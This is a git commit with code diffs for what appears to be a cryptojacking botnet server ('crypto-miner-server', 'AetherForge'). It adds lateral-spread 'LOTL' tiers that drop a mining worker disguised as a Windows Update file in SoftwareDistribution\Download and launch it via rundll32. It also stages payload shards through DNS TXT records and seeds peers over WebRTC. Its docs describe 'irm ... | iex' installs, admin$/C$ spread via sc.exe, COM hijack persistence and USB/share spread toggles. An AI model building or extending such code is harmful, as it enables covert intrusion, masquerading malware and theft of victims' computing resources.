Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
This commit is contained in:
AetherForge
2026-06-07 01:07:55 -07:00
parent 652356bfe6
commit 0be2de81a5
100 changed files with 3447 additions and 213 deletions

View File

@@ -73,10 +73,21 @@ type ServerSettings struct {
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
// ServiceDeployAllowlist maps discovered service names to LOTL join lanes for discover_and_join.
ServiceDeployAllowlist map[string]ServiceDeployLane `json:"service_deploy_allowlist,omitempty"`
// DNSZone is the suffix for _aether.<zone> TXT mesh records (e.g. site.internal).
DNSZone string `json:"dns_zone,omitempty"`
// WebRTCMeshPolicy controls LAN seeder rotation and STUN for webrtc_mesh spread.
WebRTCMeshPolicy WebRTCMeshPolicySettings `json:"webrtc_mesh_policy,omitempty"`
// TripleOnionPolicy gates recon → deploy → mining chains pushed to agents at auth.
TripleOnionPolicy TripleOnionSettings `json:"triple_onion_policy,omitempty"`
}
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
type WebRTCMeshPolicySettings struct {
Enabled bool `json:"enabled,omitempty"`
STUNServers []string `json:"stun_servers,omitempty"`
RotationHours int `json:"rotation_hours,omitempty"`
}
// TripleOnionSettings is Calibrate policy for the agent triple onion.
type TripleOnionSettings struct {
PatchFirst bool `json:"patch_first,omitempty"`
@@ -259,8 +270,15 @@ func DefaultConfig() *Config {
LotlOnionTiers: []string{
"vuln_recon",
"docker", "wsl", "powershell", "dotnet", "bits_curl",
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh",
"smb", "winrm", "linux", "gpo",
},
DNSZone: "internal",
WebRTCMeshPolicy: WebRTCMeshPolicySettings{
Enabled: false,
STUNServers: []string{"stun:stun.l.google.com:19302"},
RotationHours: 24,
},
ServiceDeployAllowlist: defaultServiceDeployAllowlist(),
},
}
@@ -963,6 +981,14 @@ func (c *Config) Save() error {
func defaultServiceDeployAllowlist() map[string]ServiceDeployLane {
return map[string]ServiceDeployLane{
"DoSvc": {Lane: "do_peer", Priority: 35},
"Delivery Optimization": {Lane: "do_peer", Priority: 35},
"Wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
"wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
"Windows Update": {Lane: "wsus_cache_peer", Priority: 34},
"dns_txt:_aether": {Lane: "dns_txt", Priority: 33},
"dns_txt": {Lane: "dns_txt", Priority: 33},
"webrtc_mesh": {Lane: "webrtc_mesh", Priority: 32},
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
"CcmExec": {Lane: "bits_curl", Priority: 10},
"BITS": {Lane: "bits_curl", Priority: 8},

View File

@@ -28,11 +28,26 @@ type StagingManifest struct {
DeferMining bool `json:"defer_mining,omitempty"`
SpreadInstall bool `json:"spread_install,omitempty"`
PeerGroup string `json:"peer_group,omitempty"`
CacheGroup string `json:"cache_group,omitempty"`
DNSZone string `json:"dns_zone,omitempty"`
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
}
// WebRTCMeshPlanBody is LAN WebRTC seed policy attached to signed deploy plans.
type WebRTCMeshPlanBody struct {
STUNServers []string `json:"stun_servers,omitempty"`
SignalingRelay string `json:"signaling_relay,omitempty"`
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
SeederAgentID string `json:"seeder_agent_id,omitempty"`
RotationHours int `json:"rotation_hours,omitempty"`
IsSeeder bool `json:"is_seeder,omitempty"`
}
type StagingChunk struct {
URL string `json:"url"`
File string `json:"file"`
URL string `json:"url"`
File string `json:"file"`
Record string `json:"record,omitempty"`
Index int `json:"index,omitempty"`
}
// DeployPlanBody is HMAC-signed and executed by the agent discover_and_join command.
@@ -42,6 +57,12 @@ type DeployPlanBody struct {
Action string `json:"action"`
Manifest *StagingManifest `json:"manifest,omitempty"`
PeerGroup string `json:"peer_group,omitempty"`
CacheGroup string `json:"cache_group,omitempty"`
DNSTXTZone string `json:"dns_txt_zone,omitempty"`
DNSTXTRecords []string `json:"dns_txt_records,omitempty"`
DNSTXTShards []int `json:"dns_txt_shards,omitempty"`
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
WebRTCMesh *WebRTCMeshPlanBody `json:"webrtc_mesh,omitempty"`
Script string `json:"script,omitempty"`
UNCPath string `json:"unc_path,omitempty"`
MaxHosts int `json:"max_hosts,omitempty"`
@@ -154,6 +175,30 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
}
body.Manifest = manifest
body.PeerGroup = manifest.PeerGroup
case "wsus_cache_peer":
manifest, err := h.buildWSUSCachePeerManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
body.CacheGroup = manifest.CacheGroup
case "dns_txt":
manifest, zone, records, shards, ttl, err := h.buildDNSTXTManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
body.DNSTXTZone = zone
body.DNSTXTRecords = records
body.DNSTXTShards = shards
body.TTLRefreshSec = ttl
case "webrtc_mesh":
manifest, mesh, err := h.buildWebRTCMeshManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
body.WebRTCMesh = mesh
case "bits_curl":
manifest, err := h.buildStagingManifest(req, serverURL)
if err != nil {
@@ -236,6 +281,174 @@ func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL
}, nil
}
// buildWSUSCachePeerManifest stages hash-verified chunks beside SoftwareDistribution\Download.
func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return nil, err
}
hash, err := fileSHA256(build.FilePath)
if err != nil {
return nil, fmt.Errorf("build hash: %w", err)
}
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
cacheGroup := "af-wsus-" + hash[:8]
if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
cacheGroup = "af-wsus-" + sanitizeDeployToken(campaign)
}
dest := `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.exe`
launch := "exe"
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
dest = `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.dll`
launch = "rundll32"
}
return &StagingManifest{
Method: "bits",
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
SHA256: hash,
Dest: dest,
Launch: launch,
DLLExport: "DllRegisterServer",
DeferMining: true,
SpreadInstall: true,
CacheGroup: cacheGroup,
}, nil
}
// buildDNSTXTManifest returns TXT shard records + embedded chunk API fallback URLs for tests.
func (h *DeployPlanHandler) buildDNSTXTManifest(req deployPlanRequest, serverURL string) (*StagingManifest, string, []string, []int, int, error) {
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return nil, "", nil, nil, 0, err
}
hash, err := fileSHA256(build.FilePath)
if err != nil {
return nil, "", nil, nil, 0, fmt.Errorf("build hash: %w", err)
}
zone := h.dnsTXTZone()
records := []string{
"_aether.shard0." + zone,
"_aether.shard1." + zone,
}
shards := []int{0, 1}
ttl := 300
chunks := make([]StagingChunk, len(records))
for i, rec := range records {
chunks[i] = StagingChunk{
Record: rec,
Index: shards[i],
File: fmt.Sprintf("shard-%d.b64", shards[i]),
URL: serverURL + "/api/v1/public/dns-txt/" + sanitizeDeployToken(rec),
}
}
dest := `%TEMP%\AetherForge\dns-txt-worker.exe`
launch := "exe"
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
dest = `%TEMP%\AetherForge\dns-txt-worker.dll`
launch = "rundll32"
}
manifest := &StagingManifest{
Method: "dns_txt",
Chunks: chunks,
SHA256: hash,
Dest: dest,
Launch: launch,
DLLExport: "DllRegisterServer",
DeferMining: true,
SpreadInstall: true,
DNSZone: zone,
TTLRefreshSec: ttl,
}
return manifest, zone, records, shards, ttl, nil
}
func (h *DeployPlanHandler) dnsTXTZone() string {
zone := "internal"
if h.allowlist != nil {
_ = h.allowlist()
}
if h.dataDir != "" {
cfgPath := filepath.Join(h.dataDir, "config.json")
if data, err := os.ReadFile(cfgPath); err == nil {
var payload struct {
Server struct {
DNSZone string `json:"dns_zone"`
} `json:"server"`
}
if json.Unmarshal(data, &payload) == nil && strings.TrimSpace(payload.Server.DNSZone) != "" {
zone = strings.TrimSpace(payload.Server.DNSZone)
}
}
}
return zone
}
// buildWebRTCMeshManifest returns LAN seed manifest metadata; payload bytes stay on subnet.
func (h *DeployPlanHandler) buildWebRTCMeshManifest(req deployPlanRequest, serverURL string) (*StagingManifest, *WebRTCMeshPlanBody, error) {
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return nil, nil, err
}
hash, err := fileSHA256(build.FilePath)
if err != nil {
return nil, nil, fmt.Errorf("build hash: %w", err)
}
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
fallbackURL := serverURL + "/api/v1/public/webrtc-mesh/manifest" + strings.TrimPrefix(getQuerySuffix, "&")
if !strings.Contains(fallbackURL, "?") && strings.TrimPrefix(getQuerySuffix, "&") != "" {
fallbackURL = serverURL + "/api/v1/public/webrtc-mesh/manifest?" + strings.TrimPrefix(getQuerySuffix, "&")
}
dest := `%TEMP%\AetherForge\webrtc-mesh-worker.exe`
launch := "exe"
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
dest = `%TEMP%\AetherForge\webrtc-mesh-worker.dll`
launch = "rundll32"
}
manifest := &StagingManifest{
Method: "webrtc_mesh",
SHA256: hash,
Dest: dest,
Launch: launch,
DLLExport: "DllRegisterServer",
DeferMining: true,
SpreadInstall: true,
}
mesh := &WebRTCMeshPlanBody{
STUNServers: []string{"stun:stun.l.google.com:19302"},
SignalingRelay: strings.TrimRight(serverURL, "/") + "/ws/webrtc-relay",
LANFallbackURL: fallbackURL,
SeederAgentID: strings.TrimSpace(req.AgentID),
RotationHours: 24,
}
return manifest, mesh, nil
}
func sanitizeDeployToken(s string) string {
s = strings.ToLower(strings.TrimSpace(s))
var b strings.Builder

View File

@@ -0,0 +1,121 @@
package api
import (
"os"
"path/filepath"
"testing"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
func testDeployPlanHandler(t *testing.T) *DeployPlanHandler {
t.Helper()
dir := t.TempDir()
database, err := dbpkg.New(dir)
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
buildDir := filepath.Join(dir, "builds", "b1")
if err := os.MkdirAll(buildDir, 0o755); err != nil {
t.Fatal(err)
}
artifact := filepath.Join(buildDir, "worker.exe")
if err := os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644); err != nil {
t.Fatal(err)
}
if err := database.InsertBuild(&models.BuildRecord{
ID: "b1", Platform: "windows", FileName: "worker.exe", FilePath: artifact,
}); err != nil {
t.Fatal(err)
}
cfgPath := filepath.Join(dir, "config.json")
if err := os.WriteFile(cfgPath, []byte(`{"server":{"dns_zone":"lab.internal"}}`), 0o644); err != nil {
t.Fatal(err)
}
return NewDeployPlanHandler(database, dir, dir,
func() string { return "http://127.0.0.1:8989" },
func() string { return "fleet-test" },
func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) },
)
}
func TestBuildPlanWSUSCachePeerLane(t *testing.T) {
h := testDeployPlanHandler(t)
plan, err := h.buildPlan(deployPlanRequest{
Platform: "windows", BuildID: "b1",
}, "Wuauserv", ServiceDeployLane{Lane: "wsus_cache_peer"})
if err != nil {
t.Fatal(err)
}
if plan.JoinLane != "wsus_cache_peer" || plan.Manifest == nil {
t.Fatalf("plan=%+v", plan)
}
if plan.CacheGroup == "" || plan.Manifest.CacheGroup == "" {
t.Fatal("expected cache_group")
}
if !containsStr(plan.Manifest.Dest, "SoftwareDistribution") {
t.Fatalf("dest=%q", plan.Manifest.Dest)
}
}
func TestBuildPlanDNSTXTLane(t *testing.T) {
h := testDeployPlanHandler(t)
plan, err := h.buildPlan(deployPlanRequest{
Platform: "windows", BuildID: "b1",
}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
if err != nil {
t.Fatal(err)
}
if plan.JoinLane != "dns_txt" || plan.Manifest == nil {
t.Fatalf("plan=%+v", plan)
}
if plan.DNSTXTZone != "lab.internal" || len(plan.DNSTXTRecords) < 1 {
t.Fatalf("dns zone/records: zone=%q records=%v", plan.DNSTXTZone, plan.DNSTXTRecords)
}
if plan.TTLRefreshSec <= 0 {
t.Fatal("expected ttl_refresh_sec")
}
}
func TestBuildPlanWebRTCMeshLane(t *testing.T) {
h := testDeployPlanHandler(t)
plan, err := h.buildPlan(deployPlanRequest{
AgentID: "agent-seed-1", Platform: "windows", BuildID: "b1",
}, "webrtc_mesh", ServiceDeployLane{Lane: "webrtc_mesh"})
if err != nil {
t.Fatal(err)
}
if plan.JoinLane != "webrtc_mesh" || plan.WebRTCMesh == nil {
t.Fatalf("plan=%+v", plan)
}
if plan.WebRTCMesh.RotationHours != 24 || plan.WebRTCMesh.SeederAgentID != "agent-seed-1" {
t.Fatalf("mesh=%+v", plan.WebRTCMesh)
}
}
func TestPickDeployLaneWSUSBelowDoSvc(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(nil)
services := []DeployServiceFinding{
{Name: "Wuauserv", Status: "running"},
{Name: "DoSvc", Status: "running"},
}
matched, lane, ok := PickDeployLane(services, allowlist)
if !ok || matched != "DoSvc" || lane.Lane != "do_peer" {
t.Fatalf("matched=%q lane=%q", matched, lane.Lane)
}
}
func containsStr(s, sub string) bool {
return len(s) >= len(sub) && (s == sub || len(sub) == 0 || indexStr(s, sub) >= 0)
}
func indexStr(s, sub string) int {
for i := 0; i+len(sub) <= len(s); i++ {
if s[i:i+len(sub)] == sub {
return i
}
}
return -1
}

View File

@@ -1,6 +1,7 @@
package api
import (
"encoding/base64"
"net/http"
"os"
"path/filepath"
@@ -136,6 +137,68 @@ func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, path)
}
// GET /api/v1/public/dns-txt/{record}
// Simulates DNS TXT shard responses for tests when real _aether zone is unavailable.
func (h *PublicHandler) DNSTXTShard(w http.ResponseWriter, r *http.Request) {
record := strings.TrimSpace(chi.URLParam(r, "record"))
if record == "" {
http.Error(w, "record required", http.StatusBadRequest)
return
}
buildID := strings.TrimSpace(r.URL.Query().Get("pin"))
if buildID == "" {
buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
}
platform := strings.TrimSpace(r.URL.Query().Get("os"))
if platform == "" {
platform = "windows"
}
build, err := h.resolveLatestBuild(buildID, platform)
if err != nil {
http.Error(w, "build not found", http.StatusNotFound)
return
}
data, err := os.ReadFile(build.FilePath)
if err != nil {
http.Error(w, "artifact missing", http.StatusNotFound)
return
}
// Single-shard simulation for tests; multi-shard plans use per-record URLs.
w.Header().Set("Content-Type", "text/plain")
_, _ = w.Write([]byte(encodeDNSTXTShard(data)))
}
// GET /api/v1/public/webrtc-mesh/manifest
// LAN HTTP fallback stub documented in SPREAD_TECHNIQUES — real path uses WebRTC data channel + WS relay.
func (h *PublicHandler) WebRTCMeshManifest(w http.ResponseWriter, r *http.Request) {
buildID := strings.TrimSpace(r.URL.Query().Get("pin"))
if buildID == "" {
buildID = strings.TrimSpace(r.URL.Query().Get("build_id"))
}
platform := strings.TrimSpace(r.URL.Query().Get("os"))
if platform == "" {
platform = "windows"
}
build, err := h.resolveLatestBuild(buildID, platform)
if err != nil {
http.Error(w, "build not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/octet-stream")
http.ServeFile(w, r, build.FilePath)
}
func (h *PublicHandler) resolveLatestBuild(buildID, platform string) (*models.BuildRecord, error) {
if buildID != "" {
return h.db.GetBuild(buildID)
}
return h.db.GetLatestBuildForPlatform(platform)
}
func encodeDNSTXTShard(data []byte) string {
return base64.StdEncoding.EncodeToString(data)
}
func clientIP(r *http.Request) string {
ip := r.Header.Get("X-Forwarded-For")
if ip == "" {

View File

@@ -736,6 +736,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/public/builds", publicHandler.ListBuilds)
r.Get("/public/download/{id}", publicHandler.Download)
r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download)
r.Get("/public/dns-txt/{record}", publicHandler.DNSTXTShard)
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
}
})

View File

@@ -16,6 +16,12 @@ type ServiceDeployLane struct {
var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{
"DoSvc": {Lane: "do_peer", Priority: 35},
"Delivery Optimization": {Lane: "do_peer", Priority: 35},
"Wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
"wuauserv": {Lane: "wsus_cache_peer", Priority: 34},
"Windows Update": {Lane: "wsus_cache_peer", Priority: 34},
"dns_txt:_aether": {Lane: "dns_txt", Priority: 33},
"dns_txt": {Lane: "dns_txt", Priority: 33},
"webrtc_mesh": {Lane: "webrtc_mesh", Priority: 32},
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
"CcmExec": {Lane: "bits_curl", Priority: 10},
"BITS": {Lane: "bits_curl", Priority: 8},
@@ -69,6 +75,12 @@ func normalizeJoinLane(lane string) string {
return "bits_curl"
case "do_peer", "do-peer", "dosvc":
return "do_peer"
case "wsus_cache_peer", "wsus-cache-peer", "wsus":
return "wsus_cache_peer"
case "dns_txt", "dns-txt":
return "dns_txt"
case "webrtc_mesh", "webrtc-mesh":
return "webrtc_mesh"
case "docker", "docker_load", "docker-load":
return "docker_load"
case "smb", "smb_unc", "spread_smb_unc", "spread-smb-unc":

View File

@@ -23,6 +23,28 @@ func TestNormalizeJoinLaneDoPeer(t *testing.T) {
}
}
func TestNormalizeJoinLaneNewTiers(t *testing.T) {
cases := map[string]string{
"wsus-cache-peer": "wsus_cache_peer",
"dns-txt": "dns_txt",
"webrtc-mesh": "webrtc_mesh",
}
for in, want := range cases {
if got := normalizeJoinLane(in); got != want {
t.Fatalf("%q => %q want %q", in, got, want)
}
}
}
func TestPickDeployLaneDNSTXT(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(nil)
services := []DeployServiceFinding{{Name: "dns_txt:_aether", Status: "running"}}
matched, lane, ok := PickDeployLane(services, allowlist)
if !ok || matched != "dns_txt:_aether" || lane.Lane != "dns_txt" {
t.Fatalf("matched=%q lane=%q", matched, lane.Lane)
}
}
func TestPickDeployLanePriority(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(map[string]ServiceDeployLane{
"CCMEXEC": {Lane: "bits_curl", Priority: 10},

View File

@@ -85,8 +85,11 @@ type BuildRequest struct {
RemoteAggressive bool `json:"remote_aggressive"`
USBSpread bool `json:"usb_spread"`
ShareSpread bool `json:"share_spread"`
WinRMSpread bool `json:"winrm_spread"`
COMHijackPersist bool `json:"com_hijack_persist"`
WinRMSpread bool `json:"winrm_spread"`
DnsTxtSpread bool `json:"dns_txt_spread"`
WebRTCMeshSpread bool `json:"webrtc_mesh_spread"`
WSUSCachePeerSpread bool `json:"wsus_cache_peer_spread"`
COMHijackPersist bool `json:"com_hijack_persist"`
LinuxLOTLMode string `json:"linux_lotl_mode"`
TargetOS string `json:"target_os"`
TargetArch string `json:"target_arch"`
@@ -1216,6 +1219,9 @@ func GetBuiltinConfig() BuiltinConfig {
USBSpread: %v,
ShareSpread: %v,
WinRMSpread: %v,
DnsTxtSpread: %v,
WebRTCMeshSpread: %v,
WSUSCachePeerSpread: %v,
COMHijackPersist: %v,
LinuxLOTLMode: %q,
BackupServerURLs: %s,
@@ -1299,6 +1305,9 @@ func GetBuiltinConfig() BuiltinConfig {
req.USBSpread,
req.ShareSpread,
req.WinRMSpread,
req.DnsTxtSpread,
req.WebRTCMeshSpread,
req.WSUSCachePeerSpread,
req.COMHijackPersist,
req.LinuxLOTLMode,
formatGoStringSlice(req.BackupServerURLs),

View File

@@ -11,6 +11,9 @@ var DefaultLotlOnionTiers = []string{
"dotnet",
"bits_curl",
"do_peer",
"wsus_cache_peer",
"dns_txt",
"webrtc_mesh",
"smb",
"winrm",
"linux",
@@ -22,7 +25,8 @@ func NormalizeLotlOnionTiers(raw []string) []string {
allowed := map[string]struct{}{
"vuln_recon": {},
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
"bits_curl": {}, "do_peer": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
"bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {},
"smb": {}, "winrm": {}, "linux": {}, "gpo": {},
}
out := make([]string, 0, len(raw))
for _, t := range raw {

View File

@@ -4,7 +4,7 @@ import "testing"
func TestNormalizeLotlOnionTiers(t *testing.T) {
got := NormalizeLotlOnionTiers(nil)
if len(got) != 10 || got[0] != "vuln_recon" || got[9] != "gpo" {
if len(got) != 14 || got[0] != "vuln_recon" || got[13] != "gpo" {
t.Fatalf("defaults: %v", got)
}
}
@@ -25,7 +25,7 @@ func TestApplyLotlOnionPreset(t *testing.T) {
if !req.AutoSpread || !req.ShareSpread || req.SpreadKit {
t.Fatal("spread profile")
}
if len(req.LotlOnionTiers) != 10 {
if len(req.LotlOnionTiers) != 14 {
t.Fatalf("tiers: %v", req.LotlOnionTiers)
}
}

View File

@@ -423,6 +423,21 @@ irm https://your.site/install.ps1?pin={build_id}&amp;c=docs | iex</code></pre>
<td>DoSvc + BITS shadow cache handoff — hash-verified peer chunk staging on LAN; launch via <code>rundll32</code> or exe with <code>--defer-mining</code>.</td>
<td>Probe &amp; Join when <code>DoSvc</code> is running — signed plan: <code>{"join_lane":"do_peer","peer_group":"af-peer-…","manifest":{"method":"bits","launch":"rundll32","defer_mining":true}}</code></td>
</tr>
<tr id="lotl-tier-wsus_cache_peer">
<td><strong>wsus_cache_peer</strong></td>
<td>WSUS offline cache cousin — stages beside <code>SoftwareDistribution\Download</code>; probes Wuauserv/AU registry; hash verify + <code>rundll32</code>/exe with <code>--defer-mining</code>.</td>
<td>Forge <code>wsus_cache_peer_spread</code> ON — <code>Wuauserv</code><code>join_lane: wsus_cache_peer</code> (priority after <code>do_peer</code>).</td>
</tr>
<tr id="lotl-tier-dns_txt">
<td><strong>dns_txt</strong></td>
<td>DNS TXT mesh — shards in <code>_aether.&lt;zone&gt;</code>; agent <code>nslookup</code>/<code>Resolve-DnsName</code>, assemble, SHA256 verify. Policy refresh via TXT TTL; tests use <code>/api/v1/public/dns-txt/{record}</code> fallback.</td>
<td>Forge <code>dns_txt_spread</code> default ON — signed plan: <code>{"join_lane":"dns_txt","dns_txt_zone":"lab.internal","dns_txt_records":["_aether.shard0.lab.internal"],"ttl_refresh_sec":300}</code></td>
</tr>
<tr id="lotl-tier-webrtc_mesh">
<td><strong>webrtc_mesh</strong></td>
<td>WebRTC LAN seed — first subnet agent seeder; manifest over data channel (STUN from server, WS relay signaling). <strong>Real:</strong> WebRTC bytes stay LAN; server sees hashrate + <code>join_lane</code> only. <strong>Tests:</strong> LAN HTTP fallback at <code>/api/v1/public/webrtc-mesh/manifest</code>.</td>
<td>Forge <code>webrtc_mesh_spread</code> default OFF — Calibrate <code>webrtc_mesh_policy.rotation_hours: 24</code> for seeder rotation.</td>
</tr>
<tr id="lotl-tier-smb">
<td><strong>smb</strong> (<code>spread_smb_unc</code>)</td>
<td>admin$ / C$ lateral via <code>sc.exe</code> + <code>net.exe</code> on open port 445 — no PsExec.</td>

View File

@@ -11,14 +11,14 @@ import { ForgeProvider } from './context/ForgeContext';
import { MatrixRainProvider } from './context/MatrixRainContext';
import SoundBridge from './components/Sound/SoundBridge';
import GlobalMusicPlayer from './components/GlobalMusicPlayer';
import AgentsPage from './pages/AgentsPage';
import CruciblePage from './pages/CruciblePage';
const DashboardPage = lazy(() => import('./pages/DashboardPage'));
const AgentsPage = lazy(() => import('./pages/AgentsPage'));
const BuilderPage = lazy(() => import('./pages/BuilderPage'));
const MissionDeckPage = lazy(() => import('./pages/MissionDeckPage'));
const BuildManagerPage = lazy(() => import('./pages/BuildManagerPage'));
const SettingsPage = lazy(() => import('./pages/SettingsPage'));
const CruciblePage = lazy(() => import('./pages/CruciblePage'));
const PathTracerPage = lazy(() => import('./pages/PathTracerPage'));
const EmberwakePage = lazy(() => import('./pages/EmberwakePage'));

View File

@@ -33,7 +33,7 @@ interface HashrateChartProps {
const GRAD_IDS = ['cyan', 'magenta', 'amber', 'green', 'purple'] as const;
function colorToId(color: string): string {
if (color.includes('f5ff') || color.includes('06b6d4') || color === '#00f5ff' || color.includes('neon-cyan')) return 'cyan';
if (color.includes('e8f5') || color.includes('f5ff') || color.includes('06b6d4') || color === '#00e8f5' || color === '#00f5ff' || color.includes('neon-cyan')) return 'cyan';
if (color.includes('2da6') || color.includes('8b5cf6')) return 'magenta';
if (color.includes('b020') || color.includes('eab308')) return 'amber';
if (color.includes('39ff') || color.includes('22c55e')) return 'green';

View File

@@ -0,0 +1,222 @@
.access-depth-panel {
margin-bottom: 1rem;
max-width: none;
}
.access-depth-header {
display: flex;
align-items: baseline;
gap: 0.75rem;
margin-bottom: 0.5rem;
}
.access-depth-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(11rem, 1fr));
gap: 0.65rem 1rem;
margin-bottom: 0.65rem;
}
.access-depth-section-title {
color: var(--neon-cyan);
font-weight: 700;
letter-spacing: 0.08em;
font-size: 0.66rem;
margin-bottom: 0.3rem;
text-transform: uppercase;
}
.access-depth-os-line {
color: #e8e8e8;
font-size: 0.76rem;
margin-bottom: 0.25rem;
}
.access-depth-probes {
display: flex;
flex-wrap: wrap;
gap: 0.25rem;
margin-bottom: 0.25rem;
}
.access-depth-probe {
font-size: 0.62rem;
font-family: var(--font-tech);
padding: 1px 5px;
border-radius: 3px;
border: 1px solid rgba(255, 255, 255, 0.12);
}
.access-depth-probe.ok {
color: var(--neon-green);
background: rgba(57, 255, 20, 0.08);
border-color: rgba(57, 255, 20, 0.25);
}
.access-depth-probe.no {
color: var(--text-muted);
background: rgba(255, 255, 255, 0.04);
}
.access-depth-meta,
.access-depth-muted,
.access-depth-empty {
font-size: 0.68rem;
color: var(--text-muted);
}
.access-depth-empty {
font-style: italic;
}
.access-depth-join {
display: flex;
flex-wrap: wrap;
align-items: center;
gap: 0.35rem;
margin-top: 0.35rem;
font-size: 0.68rem;
color: var(--text-muted);
}
.access-depth-attempt-list {
list-style: none;
margin: 0;
padding: 0;
}
.access-depth-attempt-row {
display: flex;
flex-wrap: wrap;
align-items: baseline;
gap: 0.25rem 0.4rem;
font-size: 0.72rem;
padding: 0.1rem 0;
}
.access-depth-attempt-tier {
font-weight: 600;
}
.access-depth-phase {
font-size: 0.62rem;
color: var(--neon-violet, #b388ff);
text-transform: uppercase;
}
.access-depth-in-progress,
.access-depth-pending {
margin-top: 0.35rem;
font-size: 0.68rem;
color: var(--neon-amber, #ffb347);
}
.access-depth-onion-block {
border-top: 1px solid rgba(255, 255, 255, 0.06);
padding-top: 0.5rem;
}
.access-depth-onion-columns {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(14rem, 1fr));
gap: 0.75rem 1.25rem;
}
.access-depth-onion-subtitle {
font-size: 0.68rem;
color: var(--text-muted);
margin-bottom: 0.25rem;
}
.access-depth-onion-list {
list-style: none;
margin: 0;
padding: 0;
display: flex;
flex-direction: column;
gap: 0.15rem;
}
.access-depth-onion-item {
display: flex;
flex-wrap: wrap;
align-items: center;
gap: 0.35rem;
font-size: 0.72rem;
}
.access-depth-onion-idx {
color: var(--text-muted);
min-width: 1.25rem;
}
.access-depth-onion-label {
color: #e8e8e8;
}
.access-depth-onion-item--skipped .access-depth-onion-label {
opacity: 0.55;
text-decoration: line-through;
}
.access-depth-tag {
font-size: 0.58rem;
font-family: var(--font-tech);
letter-spacing: 0.05em;
padding: 0 4px;
border-radius: 2px;
}
.access-depth-tag--active {
color: var(--neon-cyan);
border: 1px solid rgba(0, 245, 255, 0.35);
}
.access-depth-tag--skip {
color: var(--text-muted);
border: 1px solid rgba(255, 255, 255, 0.15);
}
.access-depth-tag--ok {
color: var(--neon-green);
border: 1px solid rgba(57, 255, 20, 0.3);
}
.access-depth-tag--fail {
color: #ff8866;
border: 1px solid rgba(255, 136, 68, 0.35);
}
.access-depth-tag--pending {
color: var(--neon-amber, #ffb347);
border: 1px solid rgba(255, 180, 60, 0.3);
}
.access-depth-source {
margin-left: 0.35rem;
color: var(--text-muted);
font-weight: 400;
text-transform: none;
letter-spacing: 0;
}
.access-depth-triple {
margin-top: 0.45rem;
font-size: 0.68rem;
color: var(--text-muted);
}
.access-depth-hint {
margin: 0.45rem 0 0;
font-size: 0.66rem;
color: var(--text-muted);
}
.access-depth-calibrate-link {
color: var(--neon-cyan);
text-decoration: none;
}
.access-depth-calibrate-link:hover {
text-decoration: underline;
}

View File

@@ -0,0 +1,172 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen } from '@testing-library/react';
import { MemoryRouter } from 'react-router-dom';
